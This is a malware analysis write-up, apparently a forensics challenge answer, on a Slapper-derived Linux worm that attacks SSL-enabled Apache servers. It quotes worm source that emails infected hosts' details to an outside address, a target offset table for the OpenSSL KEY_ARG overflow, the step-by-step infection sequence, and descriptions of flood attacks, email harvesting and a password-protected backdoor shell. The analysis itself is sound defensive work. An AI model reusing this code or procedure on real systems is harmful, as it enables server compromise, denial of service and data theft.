The first part of this work answers the question, giving a brief explanation
(when possible).
The second part tries to dissect the behavior of this worm.
The most difficult answers are documented in the second part.
Type:
tar file zipped with Gzip.
Created on: Fri Sep 20 12:59:04 2002
It contains two files (
.unlock.c and
.update.c )
[nicola@Westeros sotm]$ file .unlock
.unlock: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04 2002, os: Unix
[nicola@Westeros sotm]$ cp .unlock unlock.gz
[nicola@Westeros sotm]$ gunzip unlock.gz
[nicola@Westeros sotm]$ file unlock
unlock: GNU tar archive
[nicola@Westeros sotm]$ tar -tvf unlock
-rw-r--r-- root/wheel 70981 2002-09-20 15:28:11 .unlock.c
-rw-r--r-- root/wheel 2792 2002-09-19 23:57:48 .update.c
2. Based on the source code, who is the author of this
worm?
When it was created? Is it compatible with
the date from question 1?
The author is contem@efnet
This worm was also modified by aion (aion@ukr.net)
/****************************************************************************
* *
* Peer-to-peer UDP Distributed Denial of Service (PUD) *
* by contem@efnet *
* ^^^^^^^^^^^^ *
........
* *
* some modification done by aion (aion@ukr.net) *
^^^ ^^^^^^^^^^^^
****************************************************************************/
The source file was created on Sep 20 15:28
The date is not compatible, because the tarball
.unlock was
created
earlier than the file
.unlock.c
[nicola@Westeros sotm]$ tar -tvf unlock
-rw-r--r-- root/wheel 70981 2002-09-20 15:28:11 .unlock.c
-rw-r--r-- root/wheel 2792 2002-09-19 23:57:48 .update.c
3. Which process name is used by the worm when it is
running?
The process name is: httpd
Note that the process real name is httpd with a space at the end (i.e.
"httpd ");
Just take a look at the source code (.unlock.c) :
#define PSNAME "httpd "
.....
int main(int argc, char **argv) {
.....
strcpy(argv[0],PSNAME);
argv[0] is the first argument of the command line when you start an
executable
(usually the filename of the executable itself)
The line
strcpy(argv[0],PSNAME);
substitutes argv[0] and so the name of the process is "
httpd
"
4. In wich format the worm copies itself to the new
infected machine?
Which files are created in the whole process?
After the worm executes itself, wich files
remain on the infected machine?
In order to answer this question, I must
briefly describe the behavior of the worm.
When the worm is started on a machine, it begins listening
on a UDP port (UDP/4156, see Question #5).
After that collect the command line parameters
(usually the IP address of the attacking machine)
and sends them to using a UDP packet.
After that it sends an email containing the IP address
of the infected machine, its hostname and the
IP address of the attacking machine. Then the worm changes the process name
as seen in Question #3.
At this point the worm enters a while loop: in this loop
the worm behaves as a client and as a server
at the same time.
As a client it sends UDP packet on 4156 port: it does
a sort of relay, communicating with other infected
machine.
Once it has done some communiation with other infected
machine, the worm performs some attacks: it chooses
a IP A.B.C.D where A and B are random numbers.
First it scans the TCP port 80 (looking for a http server)
and then call the exploit( ) function.
The exploit( ) function does the following
work:
- Match the version of the web server against the list in architectures[]
- It opens a SSL socket, does some ugly stuff on this socket
- Calls the sh() function
The sh( ) funtion sends on the SSL socket some commands to execute
on the remote machine (the attacked machine), first it spawns an interactive
shell and then executes the follwing commands:
- Remove the files /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c
/tmp/httpd /tmp/update /tmp/.unlock on the remote machine;
- Tells the remote machine to redirect the input of the interactive
shell to the file /tmp/.unlock.uu file until it receives the string
"__eof__"
- Then the worm writes the first three bytes of the local
/tmp/.unlock file (the tarball containing .update.c and
.unlock.c) to the value "\x1f\x8b\x08" (they identify a gzip file)
- It calls encode(); this function sends a uuheader "begin 655
.unlock\n" on the SSL-socket and the reads the local /tmp/.unlock
byte per byte, encodes the byte in the way uuencode does and sends the
byte onto the SSL-socket. Once finished transferring the file, the worm on
attacker machine write the first three bytes of the tarball to "\x00\x00\x00"
(see NOTE below)
- After that it sends "__eof__" to the attacked machine
- Now on the remote machine there's a file /tmp/.unlock.uu containing
the uuencoded version of .unlock tarball
- The worm tells the attacked machine to decode the /tmp/.unlock.uu
to /tmp/.unlock, then split the tarball and compile /tmp/.unlock.c
and /tmp/.update.c
- The executables ( /tmp/httpd and /tmp/update ) are then started
on the attacked machine, using the IP address of the attacker machine
as parameter to the worm executabl
- The the worm tells the attacked machine to remove:
- the uuencoded file (/tmp/.unlock.uu)
- the source files /tmp/.unlock.c /tmp/update.c
- the executable files /tmp/httpd /tmp/update
The only file that remains on the infected machine is the tarball
/tmp/.unlock
The worm is uploaded in a uuencoded format using am input redirection
in a shell spawned on a SSL socket.
During the process the created files are:
/tmp/.unlock.uu created with a redirection on the shell
/tmp/.unlock created by uudecoding the unlock.uu
/tmp/.update.c and
/tmp/.unlock.c created by the command
"
tar xzf /tmp/.unlock -C /tmp"
/tmp/httpd and
/tmp/update by compiling the C source
file
After starting the executables the following files are deleted:
/tmp/.unlock.uu
/tmp/.update.c and
/tmp/.unlock.c
/tmp/httpd and
/tmp/update
The only file that remains on the machine is
/tmp/.unlock
in a modified version (first three bytes null)
Note that this file is necessary for spreading the worm on non-infected
machines
NOTE:
the worm, after sending the email, writes the first three bytes of
/tmp/.unlock (the tarball) to "\x00\x00\x00".
The first three bytes of gzip file are "\x1f\x8b\x08"
Probably it helps to deceive some tool:
with a "\x00\x00\x00" /tmp/.unlock
[nicola@Westeros sotm]$ file /tmp/.unlock
/tmp/.unlock: data
with a "\x1f\x8b\x08" /tmp/.unlock
[nicola@Westeros sotm]$ file /tmp/.unlock
/tmp/.unlock: gzip compressed data, deflated, original filename ....
Note that the file starts with "\x1f\x8b\x08" only during the upload
of the
tarball...
5. Which port is scanned by the worm?
Protocol: TCP
Port:
80
Looking for an Apache webserver .....
Look in the main( ):
#ifdef SCAN
if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
char srv[256];
if (d == 255) {
if (c == 255) {
a=classes[rand()%(sizeof classes)];
b=rand();
c=0;
}
else c++;
d=0;
}
else d++;
memset(srv,0,256);
sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
clients[n].ext=time(NULL);
atcp_sync_connect(&clients[n],srv,SCANPORT);
p++;
}
for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
p=atcp_sync_check(&clients[n]);
if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
if (p == ASUCCESS) {
char srv[256];
conv(srv,256,clients[n].in.sin_addr.s_addr);
if (mfork() == 0) {
exploit(srv);
exit(0);
}
}
}
#endif
The function
atcp_sync_connect(&clients[n],srv,SCANPORT);
sets up a socket in order to connect to srv on TCP port SCANPORT
(A.B.C.D:80 )
The function
atcp_sync_check(&clients[n]); tries to connect
using the socket prepared by atcp_sync_connect(); it returns
:
- ASUCCESS on successful scan,
- ACONNECT if we are connected to the scanned machine
- APENDING if there's an error of connection
Note that on succesful scan (ASUCCES or ACONNECT) or on a timeout,
the connection is closed, but
only if the scan is successful (ASUCCESS)
the worm launches the exploit
6. Which vulnerability the worm tries to exploit? In
which architectures?
It's a vulnerability of
SSL implementation for Apache web server running on
various systems based on
Gentoo, RedHat, SuSE, Mandrake, Slackware
distributions of GNU/Linux
architectures[] =
{
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14",
0x0809d6c4},
{"Mandrake", "1.3.19",
0x0809ea98},
{"Mandrake", "1.3.20",
0x0809e97c},
{"Mandrake", "1.3.23",
0x08086580},
{"Slackware", "1.3.26",
0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
The exploit abuses the KEY_ARG buffer overflow that exists in
SSL enabled Apache web servers that are compiled with OpenSSL versions
prior to 0.9.6e.
The exploit is based on the Slapper worm (bugtraq.c), which is based
on a early version of the apache-open-ssl exploit.
For further inforamtion see:
http://packetstormsecurity.org/0209-exploits/bugtraqworm.tgz
http://packetstormsecurity.org/0209-exploits/apache-ssl-bug.c
7. What kind of information is sent by the worm by email?
To which account?
The email is sent by the infected machine. It contains:
- The IP of the infected machine
- The hostname of the infected machine
- the IP address of the attacking machine
(the xploit runs on the remote machine
./httpd IP_address_of_local_machine
For example:
I'm on 192.168.0.1 machine and attack 192.168.0.2
On 192.168.0.2 the worm runs ./httpd 192.168.0.1
so the argv[1] is the attacker machine)
Just take a look at this:
#define MAILSRV "freemail.ukr.net"
#define MAILTO "aion@ukr.net"
......
int mailme(char *sip)
{
char cmdbuf[256], buffer[128];
int pip; long inet;
struct sockaddr_in sck;
struct hostent *hp;
if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
if((inet=inet_addr(MAILSRV))==-1)
{
if(hp=gethostbyname(MAILSRV))
memcpy (&inet, hp->h_addr, 4);
else return -1;
}
sck.sin_family = PF_INET;
sck.sin_port = htons (25);
sck.sin_addr.s_addr = inet;
if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;
gethostname(buffer,128);
sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf," hostid: %d \r\n"
" hostname: %s \r\n"
" att_from: %s \r\n",gethostid(),buffer,sip);
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
return close(pip);}
This function connects to the SMTP server MAILSRV ( "freemail.uk.rnet")
and send a mail to MAILTO ("aion@ukr.net")
In the body it contains:
- hostid : The IP address
of the infected machine (the machine on which the worm is running)
- hostname : The hostname of the infected
machine
- att_from: The IP address of the machine
that performed the attack
8. Which port (and protocol) is used by the worm to
communicate to other infected machines?
protocol: UDP
port:
4156
When the worm starts, it begins listening on UDP port 4156.
The worm uses this port to communicate with other infected machine
(relay).
This worm also listens for incoming request on this port: it can do
some netork attacks (udp/tcp flooding, dns flooding and
email scanning) when receives particular packets.
Better explanation in the Details section.
9. Name 3 functionalities built in the worm to attack
other networks.
The worm offer this network attack functionalities:
- UDP flood
- TCP flood (IPv4 and IPv6)
- DNS flood
There are other functionalities like:
- Opening and closing a bounce
- Running a command on the onfected machine
- Email scanning (searches the filesystem (except /dev /proc /bin))
for files containing the character '@' and extracting good bytes (from
'a' to 'z', from 'A' to 'Z' , '0' to '9', and '.', '-' , '@', '^'. '_')
from these filea
Better explanation in the Details section.
10. What is the purpose of the .update.c program? Which
port does it use?
It's a "shell server".
It listens on port 1052 (TCP).
If a client connects to the server, the update server spawns a child
(up to a maximum of 5).
Every child duplicates the socket to the stdin, stderr and stdout
with dup2(soc_cli,0); dup2(soc_cli,1);
and reads a buffer of 10 bytes from the socket: if the buffer is correct
("aion1981") the server
spawns a shell "/bin/sh". The shell use the socket as stdin,
stdout, stderr so the client receives a remote shell.
In three words: it's a backdoor.
NOTE: there's a bug in the code:
accept() function is declared as
int accept(int sockfd, void *addr, int *addrlen);
in
update.c
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, sizeof(client_addr));
the third parameter is an integer, not a pointer!
It doesn't works!
The correct code is
int sin_size;
....
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &sin_size);
11. Bonus Question: What is the purpose of the SLEEPTIME and
UPTIME values in the
.update.c program?
The update.c opens a tcp port (1052) so it is visible giving a command
like
[nicola@Westeros sotm]$ netstat -na | grep LISTEN
tcp 0 0 0.0.0.0:1052 0.0.0.0:* LISTEN
The backdoor server uses UPTIME and SLEEPTIME to turn on/off the listening
on port 1052.
The server use a nonblocking socket and fall into a loop:
- Accepts connections only for UPTIME seconds (= 10 seconds).
after that it shutdowns the listening socket.
- Then it sleeps for SLEEPTIME seconds (300 seconds = 10 minutes).
- It resumes listening on port 1052.
The behavior is
Starting Time (hh:mm:ss)
|
End Time (hh:mm:ss)
|
What the program does
|
00:00:00
|
00:00:10
|
Listen for connection
|
00:00:10
|
00:10:10
|
Do NOT listen
|
00:10:10
|
00:10:20
|
Listen
|
00:10:20
|
00:20:20
|
Do NOT listen
|
and so on ...
Probably the purpose of this behavior is to hide the backdoor.
More Details
The worm, based on Linux Slapper Worm, uses UDP packets to talk to
other infected machines.
at main() source code,:
- Initializes routes,clients and initrec to
- initrec.h.tag = 0x70
- with the help of audplisten(), creates a socket
and stores it udpserver->sock, it then binds udpserver->sock
to UDP PORT (UDP/4156) on interface ANY
- Scans the argv[] array and resolves (if possible) the address,
an stores them in cpbases[] address
- For each cpbases[i], it calls relay(cpbases[i],initrec,sizeof(initrec))
RELAY
a) calls
audprelay(udpservers,ts,cpbases[i],PORT) where PORT = 4516
AUDP_PRELAY:
1) try to gethostname(cpbases[i]);
2) store in ts :
a) the socket in udpservers->sock (localhost:4156)
b) the couple (cpbases[i]:4156) by means
inst->in.sin_addr.s_addr=inet_addr(cpbases[i]);
inst->in.sin_family
= AF_INET;
inst->in.sin_port
= htons(PORT);
3) Now ts contains
all the information in order to
connect via UDP localhost to cpbases[i]
b) calls
lowsend(&ts,b,initrec,len)
LOWSEND:
1) calls in_cksum(); and newrsa();
2) copies in_cksum, newrsa and initrec in mbuf
3) copies mbuf to q
4) if b==0 then it sends mbuf to cpbases[i]:4156
and record the try in the queue structure
else if b!=0 then q->destination = NULL
and signs q->trys=b
5) q->time = time(NULL);
6) stores q in the queue
7) if (ts != NULL) sends mbuf a cpbases[i],
note that mbuf
contains the tag 0x70
8) free(mbuf);
NOTE: these functions are
used to share information on the infected network
6. It duplicates file descriptors 0,1,2 (stdin,stdout,stderr)
to null
(i.e. null = open("/dev/null",O_RDWR);)
The worm doesn't show any stdout/stderr
and accepts no stdin
7. forks a child
8. calls mailme();
In this function
a) hostid
= IP address of the local machine
b) hostname
= hostname of the local machine
c) att_from
= IP address of the machine that exploited local machine and run
the worm
Note that the attacking
machine executes the worm using its own IP address as first parameter when
running the worm
So the worm o the infected machine has the
IP address of the attacking machine as first parameter
9. Change the process name with
strcpy(argv[0],PSNAME);
where
PSNAME = "httpd "
10. The worm choose a=(rand() % sizeof classes),
b=rand(), c=0, d=0
11. Now the worm starts a loop (
while(1) {
) in which it behaves as a client and a server:
- inserts udpserver.sock in un file descriptor set (it is
used by select() system call to handle the multiplexed I/O on UDP port
4156
- does the same thing with clients[i].sock
- executes the select monitoring for an incoming packet on
UDP port 4156
- Some problem with select? If so wait for children to hang
and reallocs the necessary structures for new children
- The loop started more than 60 seconds ago?
YES
If the worm knows no links then retry the relay with 0x70 tag
else sets the tag to 0x74 and calls segment();
segment does the following
work:
a) enques the
packet q with q->destination = NULL with lowsend() function
b) choose (random)
ten elements from links[i] and sends them a 0x74 packet
- Did the loop start more than 3 seconds ago
YES : it scans every element of the queue using
the variable q
if (time(NULL) - q->time)
> (36+numlinks/15)
deletes q from the
queue (deletes old elements)
else if (time(NULL) - q->ltime) >= 3 [for the
first relay] or 6 [for other relays]
then do a relay to q->destination
else calls
segment which sends 0x74 packets to ten links randomly choosen
- Check how any seconds have passed from the loop
if seconds > 600 then calls broadcast():
broadcast sends a 0x26 tagged message with a segment()
NOTE: This packet has a record hops=5
probably it has some information on routing
- Check for incoming packets on UDP if so it sets udpserver.len=AREAD
- If myip is not NULL then for the last CLIENTS (128) clients[i]
does the following things:
a) choose a IP A.B.C.D where A and B are random, while C and D
are incremented for every single client
b) sets up a
non blocking socket using TCP port 80 (SCANPORT)
and client[i].ext=time(NULL);
c)
try to connect to TCP port 80 (a so called TCP connect scan) and close the
socket
d) if the scan was succesfull it forks a child:
this child calls exploit(clients[n].in.sin_addr.s_addr);
(i.e. the child try to infect the machine having clients[n].in.sin_addr.s_addr
IP address)
- for each client (all the clients) check if the connection is in
TCP_PENDING phase
YES: Check :
se ACONNECT sends to client[i] the tag 0x42 : it spcifies to client[i] to
do a relay using client[i].ext as target
se ASUCCESS tells client[i] to relay to client[i].ext and also sends client[i]ext5.
client[i] go in the SOCKS_REPLY state
NO: if client[i] is in SOCKS_REPLY state and it is not yet used
then the worm receive a buffer form UDP port
4156
if the buffer is NULL then
marks client[i] as TCP_CONNECT
else tells client[i] to relay with client[i].ext as
target, then it closes the connection with client[i]
else if client[i]
is in TCP_CONNECT state and not marked as yet used
the worm receives a buffer
if there's a receiving error the
worm tells client[i] to do a relay (0x42) to client[i].ext
sending clients[i].ext3
and closes connection with client[i]
else the worm tells client[i] to relay (0x41) obfuscating th buffer and
adding clients[i].ext3 to the buffer
clients[i].ext3
- The worm now act as a "enslaved" server: it receives UDP packets
from the UDP port 4156. Then it discriminate among the tag
- tag 0x41 0x42 0x43 0x44 0x45 0x46 0x47 are used to command
a relay to an "enslaved" machine
- tag 0x70 tells that the machine sending the packet is infected,
so the worm adds the remote machine in the server list
- 0x71 tag is used to send to known hosts the address
of a new infected machine: the worm sends this type of message after receiving
a 0x70 tagged message
- 0x72, as far as I can understand, is used to force a machine
to send 0x71 messages containing the infected hosts known by the machine
- 0x73 tagged messages are sent after the worm has received
a 0x70 tag. The purpose of this message is to send an infected machine IP
address to the infected machine itself. The machine update myip. Before
receiving this type of message, the nfected machine cannot exploit other
machines
- 0x74 is sent by an infected machine which doesn't know her
myip : a machine receiving this type of packets replies
with a 0x73 packet sending the IP address
- With 0x21, 0x22 and 0x23 tag messages, a client tells a server
to open, close and send message to another host using a bounce
- With 0x24 messages a client tells a server to run a
command using the call popen() (The popen() function
opens a process by creating a pipe, forking, and invoking the shell)
- In 0x29 tagged messages, the received buffer contains
the ip address of a target (rp->target) and the UDP port (rp->port
) to use when attacking then target. When the the worm receives a 0x29 tagged
message, if rp->port is not specified the a random port is choosen. Then
the worms create a nonblocking UDP socket and start sending UDP packets (with
random payload) to the target. Every 50 packets, the worm checks how much
time is passed since the beginning of the flood: if the time is greater
than rp->secs (the client which commands the worm to attack
chose the duration of the attack) then stops that attack, else it
goes on attacking
- in the case of a 0x2A tagged message, the worm performs a TCP
flooding : it repeats TCP connection to the target, grouped by 50 during
a total period of rp->secs. (this attack is a SYN Flood, because it try
only connection and does not sends any payload)
- In the case of 0x2B the worms performs a TCP Flood attack but
on IPv6 network
- When the worm receives a 0x2C it performs a UDP flood to a DNS
server. The target is rp->target, The difference between DNS Flood
and UDP Flood is that in DNS Flood the payload of the sent packets is accurately
forged, it's not just a random buffer.
- Finally, the worm, after receivinga 0x2D tagged packet, starts
searching the filesystem of the local machine for email files. The StartScan
function searches every file on the filesystem from the root directory (does
not search in /proc /bin /dev , obviously) and call the ScanFile function
for each file. The ScanFile search into the file for a '@' character. When
if finds such a character it rewinds the file bype per byte while the byte
is a good character (alphanumeric or '@' or '.' or '_' or '-' or '^'). When
it stops rewinding, the worm reads from the current position of the file
while there are good bytes. In this way the ScanFile can retrieve email addresses
from the scanned file. The function also adds the email address in a list,
calling AddToList(email). After scanning the filesystem, the worm
sends the address list to IP:ESCANPORT, where IP is a IP address specified
in the 0x2D tagged packet and ESCANPORT is 10100. The TCP port 10100 is not
used for any service http://www.iana.org/assignments/port-numbers
Probably the attacker starts a server listening on ESCANPORT
- It's the end of the loop: goes to the beginning of the while(1)
loop.
That's for the worm behavior.
Only a few words on the exploit code: it's obviously the exploit used by
Linux Slapper Worm.
I prefer not to analyse the exploit code: it's too difficult.
Hope you enjoyed the analysis.
W. Richard Stevens for his wonderful books on Network and Unix Network
programming;
Packetstormsecurity people for their great pubblication.